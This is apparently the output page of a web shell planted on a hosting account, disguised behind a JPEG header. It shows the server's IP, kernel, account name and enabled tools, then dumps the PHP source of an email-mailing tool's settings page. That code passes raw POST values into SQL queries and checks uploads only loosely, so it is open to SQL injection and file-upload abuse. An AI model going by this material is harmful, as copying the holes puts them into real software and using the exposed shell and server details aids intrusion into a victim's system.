ÿØÿà JFIF ` ` ÿþxØ
| Server IP : 109.234.164.53 / Your IP : 216.73.216.110 Web Server : Apache System : Linux cervelle.o2switch.net 4.18.0-553.32.1.lve.el8.x86_64 #1 SMP Thu Dec 19 13:14:03 UTC 2024 x86_64 User : computer3 ( 1098) PHP Version : 7.1.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/computer3/litsolide.com/ODLDDD_2/seo-mailing/settings/ |
Upload File : |
<?php
if(isset($_GET['delimglogo'])){
unlink("uploadfiles/".$_SET['imglogo']);
mysqli_query($db,"UPDATE ".$INFO['sql_tbl_prefix']."settings SET imglogo ='' WHERE id = 1 LIMIT 1");
?>
<script type="text/javascript">
document.location.href="?settings&setgeneral";
</script>
<?php }
if(isset($_GET['delunsublogo'])){
unlink("uploadfiles/".$_SET['unsub_logo']);
mysqli_query($db,"UPDATE ".$INFO['sql_tbl_prefix']."settings SET unsub_logo ='' WHERE id = 1 LIMIT 1");
?>
<script type="text/javascript">
document.location.href="?settings&setgeneral";
</script>
<?php }elseif(isset($_GET['default'])){
$query = "UPDATE ".$INFO['sql_tbl_prefix']."settings SET
lang = 'gb.php',
rtl = 0,
email_from = '{$INFO['email_from']}',
numberemail = 50,
timeemail = 2,
packtimeemail = 20,
titlefrom = 'FES',
imglogo = '',
users_page = 1000,
archive_page = 10,
task_page = 20,
unsub_url = '{$INFO['base_url']}',
unsub_logo = '',
number_feature = 3,
testing_email = '',
testing_email_enable = '0',
debug_mode = 0
WHERE id =1 LIMIT 1
";
mysqli_query($db,$query) or exit("insert error" . mysqli_error()."<br>".$query);
mysqli_query($db,"INSERT INTO ".$INFO['sql_tbl_prefix']."system_logs
(id, id_type, id_user, ip, ddate, url, message)
VALUES
('', '4', '{$_SESSION['id']}','{$ip}','".time()."', '".$_SERVER['REQUEST_URI']."', 'User {$_SESSION['user']} has set the default settings')");
?>
<script type="application/javascript">
document.location.href="?settings&setgeneral";
</script>
<?php
}
if(count($_POST) && ($_SESSION['PERM'][9]['e'] == 1)){
$error='';
if(substr(trim($_POST['unsub_url']), 0, 7)!='http://' ) {
$_POST['unsub_url'] = 'http://'.$_POST['unsub_url'];
}else{
$_POST['unsub_url'] = $_POST['unsub_url'];
}
$type = end(explode(".",$_FILES['imglogo']['name']));
$setting_logo=unserialize($_SESSION['setting_logo']);
$mime = unserialize($_SESSION['mime']);
if(array_search($type,$mime)){
$logo_in = array_search($type,$mime);
}else{
$logo_in = -1;
};
$filename = $_SET['imglogo'];
$testing_email_enable = '0';
if(isset($_POST['testing_email_enable'])) $testing_email_enable = 1;
if($_FILES['imglogo']['size']>0){
if(in_array($logo_in,$setting_logo)){
$filename = $_FILES['imglogo']['name'];
$name_file=$filename;
$ext = strtolower(array_pop(explode(".", $filename)));
$name_file = time()."_".$name_file;
$file = "uploadfiles/".$name_file;
copy($_FILES['imglogo']['tmp_name'], $file);
$filename = $name_file;
}else{
$error .= "<div class='alert alert-error'>".__('Logotype').": ".__('invalid file type')."</div>";
}
}
$unsub_logo = $_SET['unsub_logo'];
$type = end(explode(".",$_FILES['unsub_logo']['name']));
if(array_search($type,$mime)){
$logo_in = array_search($type,$mime);
}else{
$logo_in = -1;
};
if($_FILES['unsub_logo']['size']>0){
if(in_array($logo_in,$setting_logo)){
$unsub_logo = $_FILES['unsub_logo']['name'];
$name_file=$unsub_logo;
$ext = strtolower(array_pop(explode(".", $unsub_logo)));
$name_file = time()."_".$name_file;
$file = "uploadfiles/".$name_file;
copy($_FILES['unsub_logo']['tmp_name'], $file);
$unsub_logo = $name_file;
}else{
$error .= "<div class='alert alert-error'>".__('Logotype').":2 ".__('invalid file type')."</div>";
}
}
if(isset($_POST['rtl'])){ $rtl = 1;}else{$rtl = 0;}
if(isset($_POST['debug_mode'])){ $debug_mode = 1;} else {$debug_mode =0;}
if(isset($_POST['reg'])){ $reg = 1;}else{ $reg = 0;}
if(isset($_POST['auto_lang'])) {$auto_lang = 1;}else {$auto_lang = 0;}
if(empty($error)){
mysqli_query($db,"UPDATE ".$INFO['sql_tbl_prefix']."settings SET lang ='{$_POST['lang']}',
imglogo ='{$filename}', rtl = '{$rtl}', email_from ='{$_POST['emailFrom']}',
numberemail = ".(0+$_POST['numberemail']).", timeemail = ".(0+$_POST['timeemail']).",
packtimeemail= ".(0+$_POST['packtimeemail']).", titlefrom = '{$_POST['titlefrom']}',
users_page = '{$_POST['users_page']}', archive_page ='{$_POST['archive_page']}',
task_page = '{$_POST['task_page']}', unsub_url= '{$_POST['unsub_url']}',
unsub_logo = '{$unsub_logo}', number_feature = '{$_POST['number_feature']}',
testing_email = '{$_POST['testing_email']}', testing_email_enable='{$testing_email_enable}',
mail_method = '{$_POST['mail_method']}',
text_html = '{$_POST['text_html']}',
smtp_host = '{$_POST['smtp_host']}',
smtp_port = '{$_POST['smtp_port']}',
smtp_user = '{$_POST['smtp_user']}',
smtp_pass = '{$_POST['smtp_pass']}',
smtp_auth = '{$_POST['smtp_auth']}',
php_mail_extra = '{$_POST['php_mail_extra']}',
timezone = '{$_POST['time_zone']}',
debug_mode = '{$debug_mode}',
auto_lang = '{$auto_lang}',
reg = '{$reg}',
google = '".htmlspecialchars($_POST['google'])."'
WHERE id = 1 LIMIT 1") or exit(mysql_error());
mysqli_query($db,"UPDATE ".$INFO['sql_tbl_prefix']."user_groups SET reg_group = 0");
if(isset($_POST['reg_group'])){
mysqli_query($db,"UPDATE ".$INFO['sql_tbl_prefix']."user_groups SET reg_group = 1 WHERE id = {$_POST['reg_group']} LIMIT 1");
}
?>
<script type="text/javascript">
document.location.href="?settings&setgeneral";
</script>
<?php }else{
echo $error;
} ?>
<?php } ?>
<form action="" method="post" class="form-horizontal" enctype="multipart/form-data">
<div class="well general" style="margin-top:0">
<div class="control-group">
<label class="control-label" for="titlefrom"><?php echo __('Title from');?></label>
<div class="controls">
<input type="text" id="titlefrom" name="titlefrom" style="width:100%" value="<?php echo $_SET['titlefrom']?>">
</div>
</div>
<div class="control-group">
<label class="control-label" for="emailFrom"><?php echo __('E-mail from');?></label>
<div class="controls">
<input type="text" id="emailFrom" name="emailFrom" style="width:100%" value="<?php if(filter_var(trim($_SET['email_from']), FILTER_VALIDATE_EMAIL)){echo $_SET['email_from'];}else{echo $INFO['email_from'];}?>">
</div>
</div>
<div class="control-group">
<label class="control-label" for="number_feature"><?php echo __('Number of Feature');?></label>
<div class="controls">
<input type="text" id="number_feature" name="number_feature" style="width:100%" value="<?php echo $_SET['number_feature']?>">
</div>
</div>
<div class="control-group">
<label class="control-label" for="testing_email"><?php echo __('Email for testing');?></label>
<div class="controls">
<input type="email" id="testing_email" name="testing_email" style="width:100%" value="<?php echo $_SET['testing_email']?>">
</div>
</div>
<div class="control-group">
<label class="control-label" for="testing_email_enable"><?php echo __('Enable email for testing');?></label>
<div class="controls">
<div class="switch" tabindex="0">
<input id="testing_email_enable" type="checkbox" name="testing_email_enable" <?php if($_SET['testing_email_enable'] == 1){?>checked="checked"<?php } ?> />
</div>
</div>
</div>
<div class="control-group">
<label class="control-label" for="imglogo"><?php echo __('Logotype');?></label>
<div class="controls">
<input type="file" id="imglogo" name="imglogo" class="span6">
<?php if(strlen($_SET['imglogo']) > 0 && filesize("uploadfiles/".$_SET['imglogo']) > 0){?><hr><img src="uploadfiles/<?php echo $_SET['imglogo']?>" alt="" /> <a href="?settings&setgeneral&delimglogo" class="btn btn-small btn-danger"><i class="icon-remove"></i></a><?php } ?>
</div>
</div>
</div>
<div class="well reg">
<div class="control-group">
<label class="control-label" for="reg"><?php echo __('Registration');?></label>
<div class="controls">
<div class="switch" tabindex="0">
<input type="checkbox" name="reg" <?php if($_SET['reg'] == 1){?>checked="checked"<?php } ?>>
</div>
</div>
</div>
<div class="control-group">
<label class="control-label" for="reg_group"><?php echo __('Group for registration');?></label>
<div class="controls">
<select name="reg_group" id="reg_group" class="dropdown">
<?php $result = mysqli_query($db,"SELECT * FROM ".$INFO['sql_tbl_prefix']."user_groups WHERE id NOT IN (1,2)");
if(mysqli_num_rows($result)>0){
while($group = mysqli_fetch_array($result)){ ?>
<option value="<?php echo $group['id']?>" <?php if($group['reg_group'] == 1){?>selected="selected"<?php }?>><?php echo $group['name']?></option>
<?php }} ?>
</select>
</div>
</div>
</div>
<div class="well sending">
<div class="control-group">
<label class="control-label" for="numberemail"><?php echo __('Number e-mails in pack');?></label>
<div class="controls">
<input type="text" id="numberemail" name="numberemail" value="<?php echo $_SET['numberemail']?>">
</div>
</div>
<div class="control-group">
<label class="control-label" for="timeemail"><?php echo __('Time between sending e-mail, in seconds');?></label>
<div class="controls">
<input type="text" id="timeemail" name="timeemail" value="<?php echo $_SET['timeemail']?>">
</div>
</div>
<div class="control-group">
<label class="control-label" for="packtimeemail"><?php echo __('Time of sending between packs e-mail, in seconds');?></label>
<div class="controls">
<input type="text" id="packtimeemail" name="packtimeemail" value="<?php echo $_SET['packtimeemail']?>">
</div>
</div>
<div class="control-group">
<label class="control-label" for="text_html">Type mail par défaut (conseillé : HTML)</label>
<div class="controls">
<select name="text_html" id="text_html" class="dropdown">
<option value="text" <?php if($_SET['text_html'] == 'text'){?>selected="selected"<?php }?>>text/plain</option>
<option value="html" <?php if($_SET['text_html'] == 'html'){?>selected="selected"<?php }?>>HTML</option>
</select>
</div>
</div>
<div class="control-group">
<label class="control-label" for="smtp_host"><?php echo __('Mail delivery method');?></label>
<div class="controls">
<select name="mail_method" id="mail_method" class="dropdown">
<option value="mail" <?php if($_SET['mail_method'] == 'mail'){?>selected="selected"<?php }?>>PHP Mail()</option>
<option value="smtp" <?php if($_SET['mail_method'] == 'smtp'){?>selected="selected"<?php }?>>SMTP</option>
</select>
<span class="help-block">Sélectionner SMTP pour plus de rapidité</span>
</div>
</div>
</div>
<div class="well debug">
<div class="control-group">
<label class="control-label" for="debug_mode"><?php echo __('Debug mode');?></label>
<div class="controls">
<div class="switch" tabindex="0">
<input type="checkbox" name="debug_mode" <?php if($_SET['debug_mode'] == 1){?>checked="checked"<?php } ?>>
</div>
<span class="help-block">Affiche les erreurs du Script par défaut : OFF</span>
</div>
</div>
</div>
<div class="well time">
<div class="control-group">
<label class="control-label" for="time_zone"><?php echo __('Time Zone Server');?></label>
<div class="controls">
<?php require_once('timezone_array.php');
$serv_timezone = date_default_timezone_get();
?>
<select name="time_zone" id="time_zone" class="dropdown">
<?php
if(is_array($timezones) && isset($timezones)){
foreach($timezones as $key=>$val){?>
<optgroup label="<?php echo $key?>">
<?php foreach($val as $k=>$v){?>
<option value="<?php echo $v?>" <?php if($serv_timezone == $v){?> selected="selected"<?php } ?>><?php echo $v;?></option>
<?php } ?>
</optgroup>
<?php }
}
?>
</select> <span class="label"><?php echo date('H:i:s',time());?></span>
</div>
</div>
</div>
<div class="well smtp">
<div class="row-fluid">
<div class="span6">
<div class="control-group">
<label class="control-label" for="smtp_host"><?php echo __('Override SMTP host');?></label>
<div class="controls">
<input type="text" id="smtp_host" name="smtp_host" value="<?php if(isset($_SET['smtp_host'])) { echo $_SET['smtp_host'];}else{ echo "localhost";}?>">
<span class="help-block">Entrez ici le nom du serveur SMTP de votre hébergement ex. : computer.o2switch.net</span>
</div>
</div>
<div class="control-group">
<label class="control-label" for="smtp_port"><?php echo __('Override SMTP port');?></label>
<div class="controls">
<input type="text" id="smtp_port" name="smtp_port" value="<?php if(isset($_SET['smtp_port'])){ echo $_SET['smtp_port'];}else{ echo "25";}?>">
<span class="help-block">Défaut o2Switch Ovh : 25 - Infomaniak : 587 </span>
</div>
</div>
<div class="control-group">
<label class="control-label" for="smtp_user"><?php echo __('SMTP username');?></label>
<div class="controls">
<input type="text" id="smtp_user" name="smtp_user" value="<?php if(isset($_SET['smtp_user'])){ echo $_SET['smtp_user'];}?>">
<span class="help-block">Une adresse e-mail sur votre serveur ex. : noreply@mon_domaine.fr</span>
</div>
</div>
<div class="control-group">
<label class="control-label" for="smtp_pass"><?php echo __('SMTP password');?></label>
<div class="controls">
<input type="password" id="smtp_pass" name="smtp_pass" value="<?php if(isset($_SET['smtp_pass'])){ echo $_SET['smtp_pass'];}?>">
<span class="help-block">Mot de passe de cette adresse e-mail</span>
</div>
</div>
<div class="control-group">
<label class="control-label" for="smtp_auth">SSL/TLS</label>
<div class="controls">
<select name="smtp_auth" class="dropdown">
<option value="no" <?php if($_SET['smtp_auth'] == 'no'){?>selected="selected"<?php }?>>no</option>
<option value="ssl" <?php if($_SET['smtp_auth'] == 'ssl'){?>selected="selected"<?php }?>>SSL</option>
<option value="tsl" <?php if($_SET['smtp_auth'] == 'tsl'){?>selected="selected"<?php }?>>TSL</option>
</select>
<span class="help-block">Laisser à : no</span>
</div>
</div>
<div class="control-group">
<div class="controls">
<a href="#" class="btn" onclick="return false;" id="test_smtp">Test SMTP</a>
</div>
</div>
</div>
<div class="span6">
<div id="smtp_output"></div>
</div>
</div>
</div>
<div class="well php">
<div class="control-group">
<label class="control-label" for="php_mail_extra"><?php echo __('PHP mail extra options');?></label>
<div class="controls">
<input type="text" id="php_mail_extra" name="php_mail_extra" value="<?php if(isset($_SET['php_mail_extra'])){ echo $_SET['php_mail_extra'];}?>">
<span class="help-block">Laisser vide...</span>
</div>
</div>
</div>
<div class="well perpage" style="margin-top:0">
<div class="control-group">
<label class="control-label" for="users_page">E-mails (par page)</label>
<div class="controls">
<input type="text" id="users_page" name="users_page" value="<?php echo $_SET['users_page']?>">
</div>
</div>
<div class="control-group">
<label class="control-label" for="archive_page"><?php echo __('Archive per page');?></label>
<div class="controls">
<input type="text" id="archive_page" name="archive_page" value="<?php echo $_SET['archive_page']?>">
</div>
</div>
<div class="control-group">
<label class="control-label" for="task_page"><?php echo __('Task emails per page');?></label>
<div class="controls">
<input type="text" id="task_page" name="task_page" value="<?php echo $_SET['task_page']?>">
</div>
</div>
</div>
<div class="well unsub" style="margin-top:0">
<div class="control-group">
<label class="control-label" for="unsub_url"><?php echo __('URL to your site');?></label>
<div class="controls">
<input type="text" id="unsub_url" name="unsub_url" value="<?php echo $INFO['base_url']?>">
</div>
</div>
<div class="control-group">
<label class="control-label" for="unsub_logo"><?php echo __('Logotype');?></label>
<div class="controls">
<input type="file" id="unsub_logo" name="unsub_logo" class="span6">
<?php if(strlen($_SET['unsub_logo']) > 0 && filesize("uploadfiles/".$_SET['unsub_logo']) > 0){?><hr><img src="uploadfiles/<?php echo $_SET['unsub_logo']?>" alt="" /> <a href="?settings&setgeneral&delunsublogo" class="btn btn-small btn-danger"><i class="icon-remove"></i></a><?php } ?>
</div>
</div>
</div>
<div class="well google">
<div class="control-group">
<label class="control-label" for="google"><?php echo __('Google Analytics');?></label>
<div class="controls">
<textarea rows="5" style="width:100%" id="google" name="google" class="font11"><?php echo $_SET['google']?></textarea>
</div>
</div>
</div>
<div class="well lang" style="margin-top:0">
<!-- <div class="control-group">
<label class="control-label" for="lang"><?php echo __('Language');?></label>
<div class="controls">
<div class="input-append">
<select name="lang">
<?php $lang_file = scandir($INFO['lang']);
foreach($lang_file as $v){
if($v != '.' && $v != '..' && $v != '.DS_Store'){ ?>
<option <?php if($_SET['lang'] == $v){?> selected <?php }?> value="<?php echo $v?>"><?php $st = explode(".",$v); echo strtoupper($st[0])?></option>
<?php } ?>
<?php } ?>
</select>
<?php if($_SESSION['PERM'][14]['d'] == 1){?> <a href="?settings&edit_lang" class="btn"><?php echo __('Edit');?></a><?php } ?>
</div>
</div>
</div>
-->
<div class="control-group">
<label class="control-label" for="rtl"><?php echo __('RTL Right-to-left');?></label>
<div class="controls">
<div class="switch" tabindex="0">
<input type="checkbox" name="rtl" <?php if($_SET['rtl'] == 1){?> checked<?php } ?>>
</div>
</div>
</div>
<div class="control-group">
<label class="control-label" for="auto_lang"><?php echo __('Automatic language detection from IP');?></label>
<div class="controls">
<div class="switch" tabindex="0">
<input type="checkbox" name="auto_lang" <?php if($_SET['auto_lang'] == 1){?> checked<?php } ?>>
</div>
</div>
</div>
</div>
<div class="well cron">
<div class="control-group">
<label class="control-label" for="style"><?php echo __('Path to Cron');?></label>
<div class="controls">
<input type="text" id="pcron" name="pcron" class="span6" readonly value="<?php echo substr($_SERVER['SCRIPT_FILENAME'],0,-9)."runtask.php";?>">
</div><br>
<div class="alert alert-info">
<h5>Exemple de CRON vous concernant :<br />(<i>le CRON sert à programmer l'heure et la date d'envoi. Il se gère chez l'hébergeur.</i>)</h5>
<code>*/02 * * * * /usr/bin/php <?php echo substr($_SERVER['SCRIPT_FILENAME'],0,-9)?>runtask.php</code>
</div>
</div>
</div>
<div class="form-actions">
<button type="submit" class="btn btn-primary <?php if($_SESSION['PERM'][9]['e'] == 0){?>disabled<?php } ?>"><?php echo __('Save');?></button>
<a href="?settings&setgeneral&default" class="btn btn-primary"><?php echo __('Default Settings')?></a>
</div>
</form>